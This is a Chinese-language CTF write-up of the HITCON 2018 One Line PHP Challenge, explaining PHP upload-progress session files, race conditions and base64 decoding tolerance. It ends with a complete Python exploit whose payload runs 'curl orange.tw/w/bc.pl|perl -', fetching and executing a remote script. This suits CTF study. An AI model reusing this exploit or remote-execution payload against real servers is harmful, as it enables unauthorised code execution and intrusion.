Xi4or0uji's blog

hitcon 2018 One Line PHP Challenge

字数统计: 805阅读时长: 3 min
2018/10/25 Share

前段时间打了个神仙比赛,全程挂机,tqltql
这里记录一下复现好吧
题目很简单,就一行

这题看过去没有什么头绪,后来看到wp才知道原来是考session的漏洞。

session的问题

php检查session是否要处理是通过session.auto_start或者session_start(),但是默认情况下session.auto_start的Off的,而代码如果没有session_start()也是没有开启session的,但是如果用PHP_SESSION_UPLOAD_PROGRESS在多部分POST数据里就可以开启session了
这里我建了个php文件去测试,我在html文件夹下放了一个123.php,里面什么代码都没有,然后在linux shell里面输入下面的语句

1
2
3
4
5
6
7
8
9
$ curl http://vps_ip/123.php -H 'Cookie: PHPSESSID=hhh'
$ ls -a /var/lib/php/sessions
. ..
$ curl http://vps_ip/123.php -H 'Cookie: PHPSESSID=hhh' -d 'PHP_SESSION_UPLOAD_PROGRESS=blabalbal'
$ ls -a /var/lib/php/sessions
. ..
$ curl http://vps_ip/123.php -H 'Cookie: PHPSESSID=hhh' -F 'PHP_SESSION_UPLOAD_PROGRESS=blabalbal' -F 'file=@/etc/passwd'
$ ls -a /var/lib/php/sessions
. .. sess_hhh


可以看到,确实是有一个session是hhh。

session会被清除的问题

但是这里还有个问题,我们在自己的Linux上测试是可以保存了session文件的,但是hitcon可不可以保存session文件呢

开发手册可以看见,cleanup默认是开启的,所以我们想将session文件保留下来,就要用到条件竞争,或者上传一个很大的文件去一直保留进度,让session一直存活。

session的利用

好了,到了现在,我们可以保证session里面肯定是有一个文件是我们自己上传进去的了,现在我们来看下那个文件

好的,upload_progress后面的是可控的,但是还有一个问题,我们想要去掉前面的upload_progress怎么办呢,这里就要用到base64的容错了

base64容错利用

我们知道,base64只会解密[a-zA-Z0-9],但是,如果里面有不合法的字符的时候,他还是可以把正确的字符连接在一起去进行加密的
举个栗子

看个代码

1
2
3
4
5
6
7
8
9
10
11
12
$i = 0 ;
$data = "upload_progress_ZZ";
while(true){
$i += 1;
$data = base64_decode($data);
var_dump($data);
echo '<br>';
if($data == ''){
echo "解密次数: ".$i."\n";
break;
}
}


可以看见,加了两个字母以后,upload_progress在经过三次解密后就没有了,所以我们想改掉前缀只需要对信息base64加密三次传输就行了
最后给个orange师傅的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import sys
import string
import requests
from base64 import b64encode
from random import sample, randint
from multiprocessing.dummy import Pool as ThreadPool



HOST = 'http://54.250.246.238/'
sess_name = 'iamorange'

headers = {
'Connection': 'close',
'Cookie': 'PHPSESSID=' + sess_name
}

payload = '@<?php `curl orange.tw/w/bc.pl|perl -`;?>'


while 1:
junk = ''.join(sample(string.ascii_letters, randint(8, 16)))
x = b64encode(payload + junk)
xx = b64encode(b64encode(payload + junk))
xxx = b64encode(b64encode(b64encode(payload + junk)))
if '=' not in x and '=' not in xx and '=' not in xxx:
payload = xxx
print payload
break

def runner1(i):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + payload + 'Z'
}
while 1:
fp = open('/etc/passwd', 'rb')
r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
fp.close()

def runner2(i):
filename = '/var/lib/php/sessions/sess_' + sess_name
filename = 'php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s' % filename
# print filename
while 1:
url = '%s?orange=%s' % (HOST, filename)
r = requests.get(url, headers=headers)
c = r.content
if c and 'orange' not in c:
print [c]


if sys.argv[0] == '1':
runner = runner1
else:
runner = runner2

pool = ThreadPool(32)
result = pool.map_async( runner, range(32) ).get(0xffff)

好了好了,总的来说这题考了条件竞争,session漏洞,base64容错机制,溜了溜了

CATALOG
  1. 1. session的问题
  2. 2. session会被清除的问题
  3. 3. session的利用
  4. 4. base64容错利用